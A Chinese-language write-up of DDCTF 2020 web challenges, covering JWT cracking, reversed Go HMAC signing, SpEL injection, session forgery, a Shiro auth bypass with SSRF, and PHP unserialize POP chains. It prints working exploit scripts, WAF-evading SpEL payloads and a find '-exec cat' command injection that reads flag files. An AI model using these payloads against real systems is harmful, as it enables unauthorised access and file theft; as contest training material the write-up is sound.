Go實乃知識盲區
這是一篇復現記錄,部分思路參考了如下鏈接,贊美師傅wywwtwx
參考:DDCTF 2020 Writeup - 安全客,安全資訊平臺
Web簽到題

前面的相信大家都懂,是JWT爆破,但還是梳理一下
根據提示在用POST傳參可以拿到JWT

在拿去爆破后可得到Secret值(似乎是你的用戶名,然后群里有師傅用戶名亂輸然后沒爆破出來,,)
爆破工具是c-jwt-cracker(需要的自取)
爆破拿到key后去網站https://jwt.io 篡改JWT,而后再次提交

就可以拿到client,自此第一關結束,
第二關是需要在client中構造合法的sign值

這里可以逆向演算法后寫腳本,也可以patch,我選的是第一個路子,這塊做完后就徹底卡住了
參考:
https://www.anquanke.com/post/id/170332
https://www.anquanke.com/post/id/85694
https://www.jianshu.com/p/7d006f2b4414
關于演算法的逆向:
七分逆向三分猜,作為一個Web分類下的題,出題人必然不會在Re上卡我們,剛好我同時算半個Re選手,順便記錄一下當時的心路歷程,
當時還不太知道有IDA的Golang插件,不過也是搞了出來,現在順便加上,看起來也舒服些
https://github.com/sibears/IDAGolangHelper
首先找到我們的關鍵getSign函式(沒有插件可以用老方法String)
__int64 __fastcall main_getSign(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int128 a7, __int64 a8)
{
__int64 v8; // rcx
__int64 v9; // rdx
__int64 v10; // r8
__int64 v11; // rax
__int64 v12; // rcx
__int64 v13; // rbx
__int64 v14; // rdx
__int64 v15; // r8
__int64 v16; // r9
__int64 v17; // rax
__int64 v18; // rcx
__int64 v19; // rbx
__int64 v20; // rdx
__int64 v21; // r8
__int64 v22; // r9
__int64 v23; // rdx
__int64 v24; // r8
__int64 v25; // r9
__int64 v26; // rdx
__int64 v27; // r8
__int64 v28; // r9
__int64 v29; // rdx
__int64 v30; // rdx
__int64 v31; // rcx
__int64 v32; // r8
__int64 v33; // r9
__int64 v34; // rdx
__int64 v35; // r8
__int64 v36; // rdx
__int64 v37; // r8
__int64 v38; // rax
__int64 v39; // rcx
__int64 v40; // rbx
__int64 v41; // rdx
__int64 v42; // r8
__int64 v43; // rax
__int64 v44; // rcx
__int64 v45; // rbx
__int64 v46; // rdx
__int64 v47; // r8
__int64 v48; // r9
__int64 v49; // rax
__int64 v50; // rcx
__int64 v51; // rbx
__int64 (__fastcall **v53)(__int64, __int64); // [rsp+0h] [rbp-148h]
__int128 v54; // [rsp+8h] [rbp-140h]
__m256i v55; // [rsp+18h] [rbp-130h]
__int64 v56; // [rsp+38h] [rbp-110h]
__int128 v57; // [rsp+40h] [rbp-108h]
const char *v58; // [rsp+50h] [rbp-F8h]
__int64 v59; // [rsp+58h] [rbp-F0h]
__int128 v60; // [rsp+60h] [rbp-E8h]
__int64 v61; // [rsp+70h] [rbp-D8h]
__int64 v62; // [rsp+78h] [rbp-D0h]
__int128 v63; // [rsp+80h] [rbp-C8h]
__int128 v64; // [rsp+90h] [rbp-B8h]
__int128 v65; // [rsp+A0h] [rbp-A8h]
__int128 v66; // [rsp+B0h] [rbp-98h]
__int64 v67; // [rsp+C0h] [rbp-88h]
__int64 *v68; // [rsp+C8h] [rbp-80h]
__int128 v69; // [rsp+D0h] [rbp-78h]
__int128 v70; // [rsp+E0h] [rbp-68h]
__int64 v71; // [rsp+F0h] [rbp-58h]
__int64 v72; // [rsp+F8h] [rbp-50h]
__int64 v73; // [rsp+100h] [rbp-48h]
__int64 v74; // [rsp+108h] [rbp-40h]
__int64 v75; // [rsp+110h] [rbp-38h]
__int64 v76; // [rsp+118h] [rbp-30h]
__int64 v77; // [rsp+120h] [rbp-28h]
__int64 v78; // [rsp+128h] [rbp-20h]
__int64 v79; // [rsp+130h] [rbp-18h]
__int64 v80; // [rsp+138h] [rbp-10h]
__int64 v81; // [rsp+140h] [rbp-8h]
while ( 1 )
{
v8 = __readfsqword(0xFFFFFFF8);
if ( (unsigned __int64)&v63 > *(_QWORD *)(v8 + 16) )
break;
runtime_morestack_noctxt(a1, a2);
}
v65 = a7;
v56 = a8;
v72 = 0LL;
v73 = 0LL;
v74 = 0LL;
v75 = 0LL;
if ( &v53 == (__int64 (__fastcall ***)(__int64, __int64))-248LL )
LODWORD(v72) = (unsigned __int64)&v63;
*(_QWORD *)&v69 = 2LL;
*((_QWORD *)&v69 + 1) = 2LL;
v68 = &v72;
v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
v54 = (unsigned __int64)&v65;
runtime_convT2E(a1, a2, a3, v8, a5);
v11 = v55.m256i_i64[1];
v12 = v55.m256i_i64[0];
v13 = (__int64)v68;
v61 = v55.m256i_i64[0];
*v68 = v55.m256i_i64[0];
v62 = v11;
if ( byte_963800 )
{
v53 = (__int64 (__fastcall **)(__int64, __int64))(v13 + 8);
*(_QWORD *)&v54 = v11;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v13 + 8) = v11;
}
v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_69EDC0;
v54 = (unsigned __int64)&v56;
runtime_convT2E(a1, a2, v9, v12, v10);
v17 = v55.m256i_i64[1];
v18 = v55.m256i_i64[0];
v19 = (__int64)(v68 + 2);
v61 = v55.m256i_i64[0];
v68[2] = v55.m256i_i64[0];
v62 = v17;
if ( byte_963800 )
{
v53 = (__int64 (__fastcall **)(__int64, __int64))(v19 + 8);
*(_QWORD *)&v54 = v17;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v19 + 8) = v17;
}
*(_QWORD *)&v54 = 5LL;
*((_QWORD *)&v54 + 1) = v68;
*(_OWORD *)v55.m256i_i8 = v69;
fmt_Sprintf(a1, a2, v14, v18, v15, v16, (__int64)"%s|%d");
v53 = 0LL;
v64 = *(_OWORD *)&v55.m256i_u64[2];
v54 = *(_OWORD *)&v55.m256i_u64[2];
runtime_stringtoslicebyte(a1, a2, v20, v55.m256i_i64[2], v21, v22);
v66 = *(_OWORD *)v55.m256i_i8;
v67 = v55.m256i_i64[2];
v53 = 0LL;
v58 = "DDCTFWithYou";
*(_QWORD *)&v54 = "DDCTFWithYou";
v59 = 12LL;
*((_QWORD *)&v54 + 1) = 12LL;
runtime_stringtoslicebyte(a1, a2, v23, (__int64)"DDCTFWithYou", v24, v25);
v26 = v55.m256i_i64[0];
v53 = off_827EE0;
v70 = *(_OWORD *)v55.m256i_i8;
v54 = *(_OWORD *)v55.m256i_i8;
v71 = v55.m256i_i64[2];
v55.m256i_i64[0] = v55.m256i_i64[2];
crypto_hmac_New(a1, a2, v26, v55.m256i_i64[1], v27, v28);
v54 = v66;
v55.m256i_i64[0] = v67;
v53 = (__int64 (__fastcall **)(__int64, __int64))v55.m256i_i64[2];
v60 = *(_OWORD *)&v55.m256i_u64[1];
(*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v55.m256i_i64[1] + 64))(a1, a2, v29, v55.m256i_i64[1]);
v54 = 0uLL;
v55.m256i_i64[0] = 0LL;
v53 = (__int64 (__fastcall **)(__int64, __int64))*((_QWORD *)&v60 + 1);
(*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v60 + 56))(a1, a2, v30, v31);
v53 = (__int64 (__fastcall **)(__int64, __int64))qword_946330;
v70 = *(_OWORD *)&v55.m256i_u64[1];
v54 = *(_OWORD *)&v55.m256i_u64[1];
v71 = v55.m256i_i64[3];
v55.m256i_i64[0] = v55.m256i_i64[3];
encoding_base64__ptr_Encoding_EncodeToString(a1, a2, v55.m256i_i64[1], v55.m256i_i64[2], v32, v33);
v57 = *(_OWORD *)&v55.m256i_u64[1];
v65 = *(_OWORD *)&v55.m256i_u64[1];
v63 = a7;
v56 = a8;
v76 = 0LL;
v77 = 0LL;
v78 = 0LL;
v79 = 0LL;
v80 = 0LL;
v81 = 0LL;
if ( &v53 == (__int64 (__fastcall ***)(__int64, __int64))-280LL )
LODWORD(v76) = v55.m256i_i32[4];
*(_QWORD *)&v69 = 3LL;
*((_QWORD *)&v69 + 1) = 3LL;
v68 = &v76;
v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
v54 = (unsigned __int64)&v65;
runtime_convT2E(a1, a2, v34, v55.m256i_i64[1], v35);
v38 = v55.m256i_i64[1];
v39 = v55.m256i_i64[0];
v40 = (__int64)v68;
v61 = v55.m256i_i64[0];
*v68 = v55.m256i_i64[0];
v62 = v38;
if ( byte_963800 )
{
v53 = (__int64 (__fastcall **)(__int64, __int64))(v40 + 8);
*(_QWORD *)&v54 = v38;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v40 + 8) = v38;
}
v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
v54 = (unsigned __int64)&v63;
runtime_convT2E(a1, a2, v36, v39, v37);
v43 = v55.m256i_i64[1];
v44 = v55.m256i_i64[0];
v45 = (__int64)(v68 + 2);
v61 = v55.m256i_i64[0];
v68[2] = v55.m256i_i64[0];
v62 = v43;
if ( byte_963800 )
{
v53 = (__int64 (__fastcall **)(__int64, __int64))(v45 + 8);
*(_QWORD *)&v54 = v43;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v45 + 8) = v43;
}
v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_69EDC0;
v54 = (unsigned __int64)&v56;
runtime_convT2E(a1, a2, v41, v44, v42);
v49 = v55.m256i_i64[1];
v50 = v55.m256i_i64[0];
v51 = (__int64)(v68 + 4);
v61 = v55.m256i_i64[0];
v68[4] = v55.m256i_i64[0];
v62 = v49;
if ( byte_963800 )
{
v53 = (__int64 (__fastcall **)(__int64, __int64))(v51 + 8);
*(_QWORD *)&v54 = v49;
runtime_writebarrierptr(a1, a2);
}
else
{
*(_QWORD *)(v51 + 8) = v49;
}
*(_QWORD *)&v54 = 41LL;
*((_QWORD *)&v54 + 1) = v68;
*(_OWORD *)v55.m256i_i8 = v69;
return log_Printf(a1, a2, v46, v50, v47, v48, (__int64)"[+]get sign:%s, command:%s, time_stamp:%d");
}
可以看到有一個很顯眼的DDCTFWithYou,還有就是這個
crypto_hmac_New(a1, a2, v26, v55.m256i_i64[1], v27, v28);
crypto_hmac_New這個一出來應該很多人都明白是啥了,先初步猜測這是我們的HmacSHA256(奇怪的是FindCrypt沒識別出來),而這個DDCTFWithYou十有八九就是我們的秘鑰
剛好題目還給了我們簽名的格式,我們試驗一下
得到的sign值為jI6DSECGAyzSs5t5wljIxgp8aBN4SmgzagxSvsv/y3w=,這是經過base64encode的,我們將其解碼:

然后明文加密后(記得引號):

一樣的,至此我們的作業結束,貼原WP的腳本:
package main
import (
"bytes"
"io/ioutil"
"net/http"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"time"
"github.com/gin-gonic/gin"
)
type Param struct {
Command string `json:"command"`
Signature string `json:"signature"`
Timestamp int64 `json:"timestamp"`
}
func main() {
r := gin.Default()
r.POST("/", func(c *gin.Context) {
command := c.DefaultPostForm("command", "DDCTF")
key := "DDCTFWithYou"
timestamp := time.Now().Unix()
plain := fmt.Sprintf("%s|%d", command, timestamp)
mac := hmac.New(sha256.New, []byte(key))
mac.Write([]byte(plain))
param := new(Param)
param.Command = command
param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
param.Timestamp = timestamp
js, _ := json.Marshal(param)
url := "http://117.51.136.197/server/command"
resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
c.String(http.StatusOK, string(body))
})
r.Run(":2333")
}
至此,第二關完成, 接下來是最后一關,
最后一關是需要尋找可用payload,是spel注入,也算是SSTI的一種,
參考:
https://www.cnblogs.com/poing/p/12837175.html
https://www.mi1k7ea.com/2020/01/10/SpEL運算式注入漏洞總結/
原WP師傅的腳本是另外起了一個埠用來測驗命令,我那個找不到的腳本command是直接嵌到代碼里了,這個好像更方便一些
貼原WP的Payload,當時好像測過這個payload但好像失敗了,,不知道咋回事,然后就卡在這一步了
new java.util.Scanner(new java.io.File(’/home/dc2-user/flag/flag.txt’)).next()

于是可以直接讀flag(xmsl)
卡片商店
這題比賽結束后5分鐘做出來了,,好氣啊

這題一開始以為是條件競爭漏洞,然后寫了腳本測了半天,無果,
然后測驗發現有整數溢位漏洞(這個也算是購物相關的網站中比較常出現的一個漏洞了,可惜當時一根筋測條件競爭去了,要不還能快點給后面留時間)

執行結果:

再換掉賬面上借的卡片后可以買禮物(這里注意整個程序手速要快,有時間限制)

這個seckey一般就是secretkey,好不好這題剛好有個session:

于是我們可以考慮這個seckey就是用來生成session的,
回過頭來,直接訪問flag,我們會得到資訊

合理推測我們需要偽造session來通過驗證拿flag
之前由于出現過Go了,我們考慮gin-session(沒get到杜松子酒是gin,跑偏整到Flask那邊去了)
參考:https://www.tizi365.com/archives/288.html
現在問題是我們需要偽造哪個欄位呢?gin的session我做題時沒找到太好的還原方法(原WP最后師傅貼了還原的方法),只能base64解密看看了,一番嘗試后得到:

這個方法肯定是有問題的,但也能看出一些資訊,這個session的方式應該是 timestamp|Go的encode資料|校驗(也可能是簽名啥的) 這樣的方式,我們也可以看到一個bool型別的admin欄位,我們的目標就是它,
貼過來代碼:
package main
import (
// 匯入session包
"github.com/gin-contrib/sessions"
// 匯入session存盤引擎
"github.com/gin-contrib/sessions/cookie"
// 匯入gin框架包
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
// 創建基于cookie的存盤引擎,secret11111 引數是用于加密的密鑰,這里填入我們的seckey
store := cookie.NewStore([]byte("secret11111"))
// 設定session中間件,引數mysession,指的是session的名字,也是cookie的名字
// store是前面創建的存盤引擎,我們可以替換成其他存盤引擎
r.Use(sessions.Sessions("mysession", store))
r.GET("/hello", func(c *gin.Context) {
// 初始化session物件
session := sessions.Default(c)
// 通過session.Get讀取session值
// session是鍵值對格式資料,因此需要通過key查詢資料
if session.Get("hello") != "world" {
// 設定session資料
session.Set("hello", "world")
// 洗掉session資料
//session.Delete("tizi365")
// 保存session資料
session.Save()
// 洗掉整個session
// session.Clear()
}
c.JSON(200, gin.H{"hello": session.Get("hello")})
})
r.Run(":8000")
}
稍作改動即可
if session.Get("hello") != "world" {
// 設定session資料
session.Set("hello", "world")
// 洗掉session資料
//session.Delete("tizi365")
// 保存session資料
session.Save()
// 洗掉整個session
// session.Clear()
}
改成
if session.Get("admin") != true {
session.Set("admin", true)
session.Save()
}
即可(記得放你得到的簽名)
這里是測驗過后發現這樣就行的,原本還在后面那塊和timestamp那糾結了好久,,后來發現并不需要
拿到session

替換后拿flag

Easy Web

這題并不知道有這個:CVE-2020-11989
這個CVE前幾天還看過,差點沒反應過來,,
參考:https://xz.aliyun.com/t/7964
但訪問
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/index.php
就行(但后面還是要用這個CVE繞進admin界面)
進入界面,這個莫名其妙的圖片實在是太顯眼了,本能地察覺有問題

SSRF,然后用fuzzDict中的字典跑了一下,可以讀到WEB-INF/web.xml:
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0" metadata-complete="false">
<display-name>Archetype Created Web Application</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>
classpath:spring-core.xml
</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
</listener>
<listener>
<listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class>
</listener>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-web.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>safeFilter</filter-name>
<filter-class>com.ctf.util.SafeFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>safeFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/hacker.jsp</location>
</error-page>
<error-page>
<error-code>403</error-code>
<location>/hacker.jsp</location>
</error-page>
</web-app>
經典的Spring框架,知道這個對其實我們其實可以直接把大部分代碼讀出來了,
Spring是一個MVC框架,故讀出來的檔案中我們需要重點關注的是Controller控制層的代碼
根據目前的情況,我們需要尋找能夠幫助我們成為admin的資訊
一番翻找后,在 /WEB-INF/classes/spring-shiro.xml 中有:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<property name="securityManager" ref="securityManager"/>
<property name="loginUrl" value="/login"/>
<property name="successUrl" value="/index"/>
<property name="unauthorizedUrl" value="/unauthorized"/>
<property name="filterChainDefinitionMap" ref="filterChainDefinitionMap"/>
</bean>
<bean id="filterChainDefinitionMap" factory-bean="filterChainDefinitionMapBuilder" factory-method="buildFilterChainDefinitionMap"/>
<bean id="filterChainDefinitionMapBuilder" class="com.ctf.auth.FilterChainDefinitionMapBuilder"/>
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="myRealm"/>
</bean>
<bean id="myRealm" class="com.ctf.auth.ShiroRealm">
</bean>
</beans>
其下的 /WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class 中可以看到
package com.ctf.auth;
import java.util.*;
public class FilterChainDefinitionMapBuilder
{
public LinkedHashMap<String, String> buildFilterChainDefinitionMap() {
final LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
map.put("/logout", "logout");
map.put("/index", "authc");
map.put("/download", "authc");
map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");
return map;
}
}
于是使用CVE繞過
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index
進入admin界面

后面就是繞WAF做SpE注入L,WAF在 WEB-INF/classes/com/ctf/util/SafeFilter.class 中
package com.ctf.util;
import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class SafeFilter implements Filter {
private static final String[] blacklists = {"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
private final String encoding = "UTF-8";
public void init(FilterConfig arg0) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
Enumeration pNames = request.getParameterNames();
while (pNames.hasMoreElements()) {
String name = (String) pNames.nextElement();
String value = request.getParameter(name);
for (String blacklist : blacklists) {
Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
if (matcher.find()) {
HttpServletResponse servletResponse = (HttpServletResponse) response;
servletResponse.sendError(403);
}
}
}
filterChain.doFilter(request, response);
}
public void destroy() {
}
}
后面沒繞出來,貼一下原WP的exp:
import re
import requests
from flask import Flask, request
app = Flask(__name__)
def requestToServer(content):
content = '[[${{{}}}]]'.format(content)
url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize'
response = requests.post(url=url, data={'content': content}).text
try:
redirect = re.search('fetch \./(.*) !', response).group(1)
url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/'
url += redirect
return requests.get(url).text
except Exception as e:
return str(e) + response
def toForNameOrStr(source, strFlag=False):
res = 'T(Character).toString(%s)' % ord(source[0])
for ch in source[1:]:
res += '.concat(T(Character).toString(%s))' % ord(ch)
if strFlag:
return res
return '0.class. forName({})'.format(res)
@app.route('/', methods=['GET', 'POST'])
def handler():
content = request.form.get('content')
dir = request.form.get('dir')
file = request.form.get('file')
if dir:
# 單層:java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray());
# 遞回:java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray());
listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())'.format(
toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, True))
print(listDirPayload)
return requestToServer(listDirPayload)
if file:
# java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString()
catFilePaylod = '{}.lines({}.get({})).findFirst().toString()'.format(
toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, True))
print(catFilePaylod)
return requestToServer(catFilePaylod)
return requestToServer(content)
if __name__ == '__main__':
app.run(debug=True)
看了看還有另外的思路是使用UrlClassLoader的
見 https://blog.play2win.top/2020/09/07/DDCTF2020_WEB_writeup%20/
Overwrite Me

直接給了原始碼
<?php
error_reporting(0);
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 1;
}
public function get_flag()
{
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}
class Prompter
{
protected $hint;
public function execute($value)
{
include($value);
}
public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}
class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
class Repeater
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}
public function __unset($key)
{
$func = $this->content;
return $func();
}
}
class Info
{
function __construct()
{
eval('phpinfo();');
}
}
$show = new Display();
$bullet = $_GET['bullet'];
if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}
轉了一圈沒啥思路,只能試著讀那個hint.php
<?php
class Prompter
{
protected $hint='/hint/hint.php';
public function execute($value)
{
include($value);
}
public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}
class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
class Repeater
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}
public function __unset($key)
{
$func = $this->content;
return $func();
}
}
class Info
{
function __construct()
{
eval('phpinfo();');
}
}
$chain1 = new Display();
$chain2 = new Repeater();
$chain3= new Prompter();
//$chain3->hint = "/hint/hint.php";
$chain2->content=$chain3;
$chain1->page = $chain2;
echo urlencode(serialize($chain1)) ;
//O%3A7%3A%22Display%22%3A2%3A%7Bs%3A8%3A%22contents%22%3Bs%3A14%3A%22%2Fhint%2Fhint.php%22%3Bs%3A4%3A%22page%22%3BO%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A14%3A%22%00Repeater%00cont%22%3BN%3Bs%3A7%3A%22content%22%3BO%3A8%3A%22Prompter%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00hint%22%3Bs%3A10%3A%22.%2Ftest.php%22%3B%7D%7D%7D
然后bullet傳進去后顯示有個 /FlagNeverFall/suffix_flag.php,然而最后利用的是一個include函式,就算include了沒有highlight_file(__FILE__)等我們依然沒有辦法拿到內容,
后面雖然注意到了$kw0ng這個值有些奇怪,以及看起來似乎有用但不知道有啥用的phpinfo ,但依然沒有搜索到有價值的資訊,無奈看WP
然后發現 http://117.51.137.166/hint/hint.php 能直接訪問,,,一時語塞 個人感覺是題目出糊了,應該是反序列化讀 hint/hint.php 來讀 flag 的前半部分的(也有可能是干擾項,如果真是這樣只能怪自己腦洞太小:) )
寫到這里時環境關了,,資訊只能從WP拿了
hint.php:
Good Job! You’ve got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i’ll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!
GMP利用相關的參考:
https://xz.aliyun.com/t/6781
https://bugs.php.net/bug.php?id=70513
https://paper.seebug.org/1267/
https://hackerone.com/reports/198734
大致的利用思路就是如果我們有一個可控的反序列化入口,目標后端PHP安裝了GMP插件,如果我們找到一個可控的__wakeup魔術方法,我們就可以修改反序列化前宣告的物件屬性,并配合場景產生實際的安全問題,
一個可行的exp如下:
<?php
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 1;
}
public function get_flag()
{
var_dump($this->flag);
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}
class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
$show = new Display();
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}i:1;O:7:"MyClass":1:{s:5:"kw0ng";R:3;}}';
unserialize($exploit);
var_dump($mc);
echo $mc->get_flag();
echo urlencode($exploit);
echo "\n";
?>
這里WP的師傅說不用 GMP 也能打,這里沒太看懂啥意思,Mark一下
<?php
class MyClass {
var $kw0ng;
var $flag;
}
class HintClass {
protected $hint;
}
class ShowOff {
public $contents;
public $page;
}
class MiddleMan {
public $content;
private $cont;
}
$showoff = new ShowOff();
$myclass = new MyClass();
$myclass->flag = '-exec cat /flag {} ;';
$showoff->page = new MiddleMan();
$showoff->page->content = [$myclass, 'get_flag'];
$paylod = urlencode(serialize($showoff));
$url = 'http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=';
echo file_get_contents($url . $paylod);
總結:
這次比賽考的點還是比較新穎的,比如Web和Re結合的Web簽到題,,
還有就是不太常見的Go語言這回被拿來出題了,看來還是啥都要會一點
好多題都卡在最后一步可能還是思路還不夠廣的原因吧,之后還是要多刷點題
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/1406.html
標籤:python
